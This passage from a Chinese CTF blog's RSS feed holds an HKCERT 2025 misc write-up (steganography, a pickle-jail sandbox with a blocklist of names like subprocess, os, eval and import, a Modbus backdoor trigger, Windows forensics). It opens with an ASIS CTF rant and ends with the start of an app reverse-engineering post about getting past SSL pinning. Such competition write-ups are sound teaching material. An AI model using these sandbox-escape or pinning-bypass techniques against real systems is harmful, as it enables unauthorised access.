&lt;td&gt;101&lt;/td&gt;&#xA;          &lt;td&gt;zone_of_order&lt;/td&gt;&#xA;          &lt;td&gt;ASIS CTF 2025&lt;/td&gt;&#xA;          &lt;td&gt;题是好题，我没意见，问题出现在 flag 的展现方式，这可能是笔者这辈子见过最脑残的 flag 形式&lt;br&gt;&lt;br&gt;经过笔者多次谨慎分析，给出超越满分的史王分数&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;p&gt;让我们用热烈的谩骂，恭喜来自 &lt;code&gt;ASIS CTF 2025&lt;/code&gt; 的 &lt;code&gt;zone_of_order&lt;/code&gt; 荣获 &lt;code&gt;2025 年度答辩&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;本题考查 zoo 压缩格式，题目修改了删除标志位，考点没得说，但出题人不知道脑子是否沾染了某种物质，flag 通过四段 ASCII 字符画展现，解密出 4 份 txt 文件后得到完整的 flag ASCII 字符画&lt;/p&gt;&#xA;&lt;p&gt;出题人在此 flag 中，混合使用了形态完全一模一样的 &lt;code&gt;0(阿拉伯数字) 、O(大写英文字符o)&lt;/code&gt; 以及几乎一模一样 &lt;code&gt;1(阿拉伯数字)、l(小写英文字符 L)&lt;/code&gt;，在与赛事 STAFF 团队沟通后无果，多次告知我 &lt;code&gt;you are close&lt;/code&gt; ，本题解题耗时约 30mins，观察 flag 耗时约 40mins，以 10s 之差失去一血&lt;/p&gt;&#xA;&lt;p&gt;希望这种脑溢血行为不会再出现第二次&lt;/p&gt;&#xA;&lt;p&gt;年度史题 &lt;code&gt;zone_of_order&lt;/code&gt; 具体 flag 字符画展示&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/972ccb60-9444-46d6-a068-2e1e24d38122.png&#34; alt=&#34;zone_of_order flag 字符画&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;是的你没看错 开头的flag 部分为 &lt;code&gt;ZO(大写英文字符)0(阿拉伯数字)&lt;/code&gt; ，以及最后一部分开头为 _&lt;code&gt;0n3&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;第三部分开头&lt;code&gt;f1lEs&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;我希望主办方能赔点钱买眼药水&lt;/p&gt;&#xA;</description>
    </item>
    
    <item>
      <title>HKCERT 2025 - MISC Writeup</title>
      <link>https://new.mnzn.me/posts/hkcert-2025-misc-writeup/</link>
      <pubDate>Sat, 15 Nov 2025 00:00:00 +0000</pubDate>
      <guid>https://new.mnzn.me/posts/hkcert-2025-misc-writeup/</guid>
      <description>&lt;h2 id=&#34;hkcert---2025---misc&#34;&gt;HKCERT - 2025 - Misc&lt;a class=&#34;heading-anchor&#34; href=&#34;#hkcert---2025---misc&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h2&gt;&#xA;&lt;h3 id=&#34;little-wish&#34;&gt;Little Wish&lt;a class=&#34;heading-anchor&#34; href=&#34;#little-wish&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/39525598-c967-4f21-b0db-f368c595a7c1.png&#34; alt=&#34;fig:&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;下载附件，得到两个文件&lt;/p&gt;&#xA;&lt;p&gt;tellme.gift与小小心願，深沉的聲響.wav&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/4ac63cc1-2ff8-465d-a83e-6fde7d6d0656.png&#34; alt=&#34;fig:&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;h4 id=&#34;step1&#34;&gt;Step1&lt;a class=&#34;heading-anchor&#34; href=&#34;#step1&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;tellme.gift的文件尾部有一个压缩包 可用 Binwalk 压缩包内是wow_you_found_me.txt&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Ⅰ. Look at that, what is &amp;quot;9a&amp;quot; ...? And what is the difference between &amp;quot;9a&amp;quot; and &amp;quot;7a&amp;quot;? &#xA;&#xA;&#xA;Ⅱ. Seek out the &amp;quot;P&amp;quot; above all, since the key clue lies there. &#xA;&#xA;&#xA;Ⅲ. But what is &amp;quot;P&amp;quot;? It can&#39;t be a pillow, right? Because if it were, I&#39;d want to go to bed right now! (-: &#xA;&#xA;&#xA;&#xA;&#xA;̷͒͘Ⅳ̧͓̄.̹̀͒  &#xA;̛͍̑?̻̀̆  &#xA;̼̐͘Ȃ̴͍  &#xA;̢͓̄n̵̻͗  &#xA;̢͎̐y̴̻͒  &#xA;̧͎̄t͈̐͘  &#xA;̹̕h̷̨  &#xA;͓̕į̻  &#xA;̢͇͒n̵͓̐  &#xA;͓̀̍g̶͓̅  &#xA;&#xA;̵̹̎é͓̿  &#xA;́l̢  &#xA;͇́̆s̡̻̐  &#xA;͉͒͘e̢̼̿  &#xA;͎̐͘?̧͉̄ &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;猜测提示I的 between &amp;ldquo;9a&amp;rdquo; and &amp;ldquo;8a&amp;rdquo; 为修复正确GIF文件头 &amp;ldquo;GIF89a&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;修复出正确的gif文件，读取出帧间隔，除以10后 ASCII 解码即可得到 MENGMENG_XIANG&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/48175e67-88c9-4e7c-9003-6a1a4e160e20.png&#34; alt=&#34;fig:&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;h4 id=&#34;step2&#34;&gt;Step2&lt;a class=&#34;heading-anchor&#34; href=&#34;#step2&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;wav文件名 深沉的聲響 猜测是DeepSound隐写，尝试解密&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/c3d9cf16-a020-4d69-8972-a29442e7aa17.png&#34; alt=&#34;fig:&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;使用Step1得到的MENGMENG_XIANG作为密钥，得到加密的 flag.zip&lt;/p&gt;&#xA;&lt;h4 id=&#34;step3&#34;&gt;Step3&lt;a class=&#34;heading-anchor&#34; href=&#34;#step3&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;提示 II、III还没用到，询问AI，猜测 P 指的是 Palette 调色板&lt;/p&gt;&#xA;&lt;p&gt;即 GIF 中的 Global Color Table 数据&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;F2 D1 AF F5 CA 98 FA C8 88 F9 B7 7B F2 B1 6F EF &#xA;B6 91 F1 B6 82 E9 B2 86 D8 B2 97 F9 AD 68 F9 AC &#xA;52 FB A6 33 FA 99 16 F4 96 49 FB 94 0B EE 92 4E &#xA;EC 9B 6B D0 96 6D F4 8B 34 EB 8C 4F F3 91 35 F5 &#xA;8E 2B EA 86 35 EB 7D 49 F2 87 17 F7 88 08 F4 74 &#xA;32 EB 77 34 EC 73 2C F3 6E 2B D7 89 54 D8 81 38 &#xA;E6 79 17 E8 76 08 DC 71 04 D3 6D 15 AC 89 6E CE &#xA;74 49 97 6E 57 EB 67 29 EA 69 29 E7 66 12 D7 6A &#xA;06 D3 6A 2B CD 6B 27 D5 68 09 CC 62 07 EA 5A 15 &#xA;E4 59 14 DF 5F 23 DD 57 14 E3 54 0C DC 53 0B CA &#xA;5A 09 B1 5C 24 AE 58 17 AC 67 35 8A 55 30 8E 4B &#xA;14 7D 47 1A 73 3D 12 64 5A 53 6D 46 2C 4D 3E 33 &#xA;54 2D 11 32 2C 29 46 2A 16 3D 28 1B 2F 15 05 19 &#xA;12 0F 16 0B 02 09 06 04 00 01 01 00 01 01 01 01 &#xA;00 01 00 01 01 01 01 01 00 01 00 00 00 01 01 01 &#xA;00 01 01 00 00 01 00 01 00 01 01 01 00 01 00 00 &#xA;00 01 00 01 01 01 01 01 00 01 00 00 00 00 00 01 &#xA;00 01 01 00 00 01 01 00 00 01 01 01 00 01 00 00 &#xA;00 01 01 00 00 01 00 01 00 01 01 01 00 00 01 00 &#xA;00 01 00 01 01 01 01 01 00 00 01 01 00 00 01 00 &#xA;00 00 01 01 00 00 01 01 00 00 01 01 00 01 01 01 &#xA;00 01 00 01 01 01 01 01 00 01 00 01 00 00 00 00 &#xA;00 01 01 01 00 01 00 01 00 01 01 00 01 01 00 00 &#xA;00 01 01 00 01 01 00 00 00 01 01 01 00 00 01 01&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;将前半段数据 与0x01按位与(lsb)得到一串新的00、01序列&lt;/p&gt;&#xA;&lt;p&gt;再将完整数据 &lt;code&gt;00 -&amp;gt; 0 01 -&amp;gt; 1&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/9fe7ec04-7002-4c5e-bd17-25f0495ca4f4.png&#34; alt=&#34;fig:&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;得到压缩包密码 The_Operator_I_Failed_To_Get_After_237_Pulls&lt;/p&gt;&#xA;&lt;p&gt;解压得到flag flag{1Ch1B4n_SuK1_N4_W4t4sh1_N1N4RuN0~}&lt;/p&gt;&#xA;&lt;h3 id=&#34;easyjail&#34;&gt;easyJail&lt;a class=&#34;heading-anchor&#34; href=&#34;#easyjail&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;p&gt;Pickle 反序列化，AI梭了&lt;/p&gt;&#xA;&lt;p&gt;exp&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;# pylint: disable = unnecessary-lambda-assignment, protected-access, redefined-builtin &#xA;import pickle &#xA;from io import BytesIO &#xA;from base64 import b64decode &#xA;&#xA;_dispatch = pickle._Unpickler.dispatch &#xA;&#xA;_noop = lambda *_: None &#xA;_noop_code = _noop.__code__ &#xA;&#xA;_DISABLED_OPCODES = [ &#xA;    pickle.NEWOBJ_EX[0], &#xA;    pickle.INST[0], &#xA;    pickle.REDUCE[0], &#xA;    pickle.OBJ[0], &#xA;    pickle.NEWOBJ[0], &#xA;] &#xA;&#xA;for opcode in _DISABLED_OPCODES: &#xA;    _dispatch.pop(opcode) &#xA;&#xA;pickle._Unpickler.dispatch = _dispatch &#xA;&#xA;for method_name in ( &#xA;    &amp;quot;load_newobj_ex&amp;quot;, &#xA;    &amp;quot;load_obj&amp;quot;, &#xA;    &amp;quot;load_reduce&amp;quot;, &#xA;    &amp;quot;load_newobj&amp;quot;, &#xA;    &amp;quot;load_inst&amp;quot;, &#xA;): &#xA;    handler = getattr(pickle._Unpickler, method_name) &#xA;    handler.__code__ = _noop_code &#xA;&#xA;__builtins__ = { &#xA;    &amp;quot;input&amp;quot;: input, &#xA;    &amp;quot;ValueError&amp;quot;: ValueError, &#xA;    &amp;quot;bytes&amp;quot;: bytes, &#xA;    &amp;quot;isinstance&amp;quot;: isinstance, &#xA;} &#xA;&#xA;del _dispatch &#xA;del _noop &#xA;del _noop_code &#xA;del _DISABLED_OPCODES &#xA;del opcode &#xA;&#xA;_BLACKLISTED_SUBSTRINGS = { &#xA;    &amp;quot;var&amp;quot;, &#xA;    &amp;quot;input&amp;quot;, &#xA;    &amp;quot;builtin&amp;quot;, &#xA;    &amp;quot;set&amp;quot;, &#xA;    &amp;quot;get&amp;quot;, &#xA;    &amp;quot;import&amp;quot;, &#xA;    &amp;quot;open&amp;quot;, &#xA;    &amp;quot;subprocess&amp;quot;, &#xA;    &amp;quot;sys&amp;quot;, &#xA;    &amp;quot;eval&amp;quot;, &#xA;    &amp;quot;exec&amp;quot;, &#xA;    &amp;quot;os&amp;quot;, &#xA;    &amp;quot;compile&amp;quot;, &#xA;} &#xA;&#xA;&#xA;def loads(data: bytes): &#xA;    if not isinstance(data, bytes): &#xA;        raise TypeError(&amp;quot;expected bytes&amp;quot;) &#xA;&#xA;    for token in _BLACKLISTED_SUBSTRINGS: &#xA;        if token.encode() in data: &#xA;            raise ValueError(f&amp;quot;{token} not allowed&amp;quot;) &#xA;&#xA;    buffer = BytesIO(data) &#xA;    return pickle._Unpickler(buffer).load() &#xA;&#xA;&#xA;opcode = b64decode(input(&amp;quot;Enter your pickle: &amp;quot;).encode()) &#xA;del b64decode &#xA;loads(opcode)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h3 id=&#34;busbus&#34;&gt;busbus&lt;a class=&#34;heading-anchor&#34; href=&#34;#busbus&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;p&gt;Modbus协议 有点猜迷&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://goodlunatic.github.io/posts/01ebd40/&#34;&gt;https://goodlunatic.github.io/posts/01ebd40/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;传输标识符2B+协议标识符2B+长度2B+从机ID 1B+功能码1B+数据字段xB&lt;/p&gt;&#xA;&lt;p&gt;功能码&lt;/p&gt;&#xA;&lt;p&gt;1：读线圈&lt;/p&gt;&#xA;&lt;p&gt;2：读离散输入&lt;/p&gt;&#xA;&lt;p&gt;3：读保持&lt;/p&gt;&#xA;&lt;p&gt;4：读输入&lt;/p&gt;&#xA;&lt;p&gt;5：写单个线圈&lt;/p&gt;&#xA;&lt;p&gt;6：写单个保持&lt;/p&gt;&#xA;&lt;p&gt;15：写多个线圈&lt;/p&gt;&#xA;&lt;p&gt;16：写多个保持&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;题目说是backdoor，需要trigger&lt;/p&gt;&#xA;&lt;p&gt;解题方法是通过 FC15 向线圈内写入 &amp;lsquo;open&amp;rsquo; 的 8-bit ASCII 序列 后触发后门&lt;/p&gt;&#xA;&lt;p&gt;再通过 FC03 读寄存器得到flag，虽然不知道为什么是open，但是就是open，fuzz&lt;/p&gt;&#xA;&lt;h3 id=&#34;deleted&#34;&gt;Deleted&lt;a class=&#34;heading-anchor&#34; href=&#34;#deleted&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;p&gt;取证&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;h4 id=&#34;q1-what-is-the-computer-username-eg-bob&#34;&gt;Q1) What is the computer username? e.g: bob&lt;a class=&#34;heading-anchor&#34; href=&#34;#q1-what-is-the-computer-username-eg-bob&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/c050b531-5cae-4eee-b0c1-f08c6e0650ef.png&#34; alt=&#34;fig:&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Root\Users\jack&lt;/p&gt;&#xA;&lt;p&gt;jack&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;h4 id=&#34;q2-what-is-the-device-name-eg-desktop-1d76lc4&#34;&gt;Q2) What is the device name? e.g: desktop-1d76lc4&lt;a class=&#34;heading-anchor&#34; href=&#34;#q2-what-is-the-device-name-eg-desktop-1d76lc4&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;Format: [a-z0-9-]+&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;在Root\Users\jack\AppData\Roaming\uTools\clipboard-data\1765137507668&lt;/p&gt;&#xA;&lt;p&gt;有一个ebc82002a9d84b6978f70cd856581125文件，是png 显示了用户名&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/559a24bf-bcf3-4de2-a2b2-8e2409307e1c.png&#34; alt=&#34;fig:&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;desktop-f9ta8al&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;h4 id=&#34;q3-what-is-the-last-time-the-device-was-shut-down-please-provide-your-answer-in-utc8-timezone-eg-e4d8b17ba7bdea5df12552034245edd7&#34;&gt;Q3) What is the last time the device was shut down? Please provide your answer in UTC+8 timezone. e.g: e4d8b17ba7bdea5df12552034245edd7&lt;a class=&#34;heading-anchor&#34; href=&#34;#q3-what-is-the-last-time-the-device-was-shut-down-please-provide-your-answer-in-utc8-timezone-eg-e4d8b17ba7bdea5df12552034245edd7&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;Format: md5(YYYY/MM/DD HH:MM:SS).lowercase()&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;注册表 =&amp;gt; Root\Windows\System32\config\SYSTEM&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/5889db52-5a41-425f-a9ab-11bc9335ed06.png&#34; alt=&#34;fig:&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;记录了以 小端序FILETIME 存储的 ShutdownTime&lt;/p&gt;&#xA;&lt;p&gt;转换为 UTC+8 即可: 2025-12-09 23:13:23&lt;/p&gt;&#xA;&lt;p&gt;e1a465a0bd5e8f9fe35651ee71689a5f&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;h4 id=&#34;q4-what-is-the-code-word-for-the-rendezvous-planned-by-the-suspect-eg-c2443fd7e6e158b9497c3fde067af076&#34;&gt;Q4) What is the code word for the rendezvous planned by the suspect? e.g: c2443fd7e6e158b9497c3fde067af076&lt;a class=&#34;heading-anchor&#34; href=&#34;#q4-what-is-the-code-word-for-the-rendezvous-planned-by-the-suspect-eg-c2443fd7e6e158b9497c3fde067af076&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;Format: md5(req:res).lowercase()&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Root\Users\jack\AppData\Roaming\CherryStudio\IndexedDB\file__0.indexeddb.leveldb\000003.log&lt;br&gt;&#xA;这里有一个 CherryStudio 的 ai 对话记录&lt;/p&gt;&#xA;&lt;p&gt;UTF-16LE编码&lt;img src=&#34;upload/Image/e4d73b68-bbad-4542-991b-f0d5b8676943.png&#34; alt=&#34;fig:&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;暗号：你記得《黑客帝國》裏尼奧的電話型號嗎？:諾基亞8110，但我覺得貪食蛇更好玩。&lt;/p&gt;&#xA;&lt;p&gt;93f91a283267c82e8baa9ae10b38bc1b&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;h4 id=&#34;q5-what-instant-messaging-software-did-the-suspect-once-use-eg-line&#34;&gt;Q5 What instant messaging software did the suspect once use? e.g: line&lt;a class=&#34;heading-anchor&#34; href=&#34;#q5-what-instant-messaging-software-did-the-suspect-once-use-eg-line&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Root\Users\jack\AppData\Local\SquirrelTemp 有 Discord 的卸载记录&lt;/p&gt;&#xA;&lt;p&gt;ShimCache 也能看到相关记录&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;h4 id=&#34;q6-社交软件密码&#34;&gt;Q6 社交软件密码&lt;a class=&#34;heading-anchor&#34; href=&#34;#q6-%e7%a4%be%e4%ba%a4%e8%bd%af%e4%bb%b6%e5%af%86%e7%a0%81&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;在与 AI 的对话中还能看到，嫌疑人让ai生成了一个密码算法&lt;img src=&#34;upload/Image/fbbcef32-3955-4b41-a296-58efaf1c0506.png&#34; alt=&#34;fig:&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;不过这里的 CyberChef Recipe 是假的，而CyberChef的算法流程是在url中保存的&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/aae3ec6d-6aa4-442d-ae10-17164eb94796.png&#34; alt=&#34;fig:&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;可以直接从Edge的记录中字符串搜到真正的url得到recipe&lt;img src=&#34;upload/Image/ebca5e5d-5ff6-46cd-943a-f42b25beb268.png&#34; alt=&#34;fig:&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://cyberchef.org/#recipe=Extract&#34;&gt;https://cyberchef.org/#recipe=Extract&lt;/a&gt;_domains(false,false,false)To_Lower_case()SHA3(&amp;lsquo;512&amp;rsquo;)To_Base58(&amp;lsquo;123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz&amp;rsquo;)Take_bytes(0,14,false)Substitute(&amp;lsquo;a_D%23&amp;rsquo;,&amp;rsquo;_a%23D&amp;rsquo;,false)&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/9da6489c-1ba2-432d-937b-855b3abc8ae3.png&#34; alt=&#34;fig:&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;h4 id=&#34;q7-主密钥&#34;&gt;Q7 主密钥&lt;a class=&#34;heading-anchor&#34; href=&#34;#q7-%e4%b8%bb%e5%af%86%e9%92%a5&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;\Root\Users\jack\AppData\Roaming\uTools\database\default\&lt;/p&gt;&#xA;&lt;p&gt;utools数据库 读取ldb文件即可&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/14f2073f-e4d0-4f08-9ae4-16ad8be0b4c0.png&#34; alt=&#34;fig:&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Qu4ntum_L0ck_Ph0t0n2077#&lt;/p&gt;&#xA;&lt;h3 id=&#34;easy_base&#34;&gt;Easy_Base&lt;a class=&#34;heading-anchor&#34; href=&#34;#easy_base&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;pre&gt;&lt;code&gt;Zg====AbYQ====wZew====ARZQ====gbaQ====QcdQ====QZdQ====gYaQ====QZcg====QadA====wXcw====QYbg====wZdQ====Qacw====QYZw====AbYQ====AZaQ====wbcg====QZZw====Qacw====Qf&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;为单个字符的Base64正反交替&lt;/p&gt;&#xA;&lt;p&gt;翻转后得到&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Zg==bA==YQ==Zw==ew==RA==ZQ==bg==aQ==cQ==dQ==ZQ==dQ==Yg==aQ==ZQ==cg==aQ==dA==Xw==cw==YQ==bg==Zw==dQ==aQ==cw==YQ==Zw==bA==YQ==ZA==aQ==bw==cg==ZQ==Zw==aQ==cw==fQ==&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;解码得到flag flag{Deniqueubierit_sanguisagladioregis}&lt;/p&gt;&#xA;&lt;h3 id=&#34;suspicious-file&#34;&gt;Suspicious File&lt;a class=&#34;heading-anchor&#34; href=&#34;#suspicious-file&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;h4 id=&#34;step1-1&#34;&gt;Step1&lt;a class=&#34;heading-anchor&#34; href=&#34;#step1-1&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;Base58标准码表解码得到文件&lt;/p&gt;&#xA;&lt;p&gt;问ai表示是avif文件&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/67632f25-16e4-44c8-b8a4-e95d7713bece.png&#34; alt=&#34;fig:&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://ezgif.com/avif-to-gif&#34;&gt;https://ezgif.com/avif-to-gif&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;转换成gif&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/8f839e4c-4bb2-4f2e-af36-1c1e466ccc1e.png&#34; alt=&#34;fig:&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;转一下，得到last part: Future_0f_Im4ge_F0rm4t}&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/14fe3a08-7fe8-490d-b07c-41c485b14197.png&#34; alt=&#34;fig:&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;h4 id=&#34;step2-1&#34;&gt;Step2&lt;a class=&#34;heading-anchor&#34; href=&#34;#step2-1&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;分理出单帧png，LSB，得到 firs t part:hkcert25{AVIF_Will_Be_The_&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://ezgif.com/avif-to-png&#34;&gt;https://ezgif.com/avif-to-png&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/f3471118-0b0e-4d8b-9f03-0b88c5e72bd8.png&#34; alt=&#34;fig:&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;拼接得到完整flag hkcert25{AVIF_Will_Be_The_Future_0f_Im4ge_F0rm4t}&lt;/p&gt;&#xA;</description>
    </item>
    
    <item>
      <title>某某校园 App 协议与逆向分析</title>
      <link>https://new.mnzn.me/posts/%E6%9F%90%E6%9F%90%E6%A0%A1%E5%9B%AD-app-%E5%8D%8F%E8%AE%AE%E4%B8%8E%E9%80%86%E5%90%91%E5%88%86%E6%9E%90/</link>
      <pubDate>Sun, 12 Oct 2025 00:00:00 +0000</pubDate>
      <guid>https://new.mnzn.me/posts/%E6%9F%90%E6%9F%90%E6%A0%A1%E5%9B%AD-app-%E5%8D%8F%E8%AE%AE%E4%B8%8E%E9%80%86%E5%90%91%E5%88%86%E6%9E%90/</guid>
      <description>&lt;blockquote&gt;&#xA;&lt;p&gt;本次分析过程&lt;strong&gt;并非&lt;/strong&gt;没有人受伤。&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;h2 id=&#34;前言--一言难尽&#34;&gt;&lt;strong&gt;前言 — 一言难尽&lt;/strong&gt;&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e5%89%8d%e8%a8%80--%e4%b8%80%e8%a8%80%e9%9a%be%e5%b0%bd&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h2&gt;&#xA;&lt;p&gt;新版的“某某校园”引入了大量抽象 anti‑cheat 机制，覆盖了多开、模拟器、虚拟机、so 注入、hook、调试器附加、SSL pinning 等多种检测，竭尽全力无法绕过&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;下面的内容以技术分析为主，请仅用于学习与研究，不要用于非法用途。&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;h2 id=&#34;流程&#34;&gt;流程&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e6%b5%81%e7%a8%8b&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h2&gt;&#xA;&lt;h3 id=&#34;抓包&#34;&gt;&lt;strong&gt;抓包&lt;/strong&gt;&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e6%8a%93%e5%8c%85&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;p&gt;该 app 启用了&lt;strong&gt;严格的 SSL pinning 策略&lt;/strong&gt;。几乎无法直接绕过。&lt;/p&gt;&#xA;&lt;p&gt;**思路：**使用旧版本的 APK、重写覆盖版本检测api。使用的是 &lt;code&gt;reqable&lt;/code&gt;（自带 Py脚本支持，类似 Fiddler 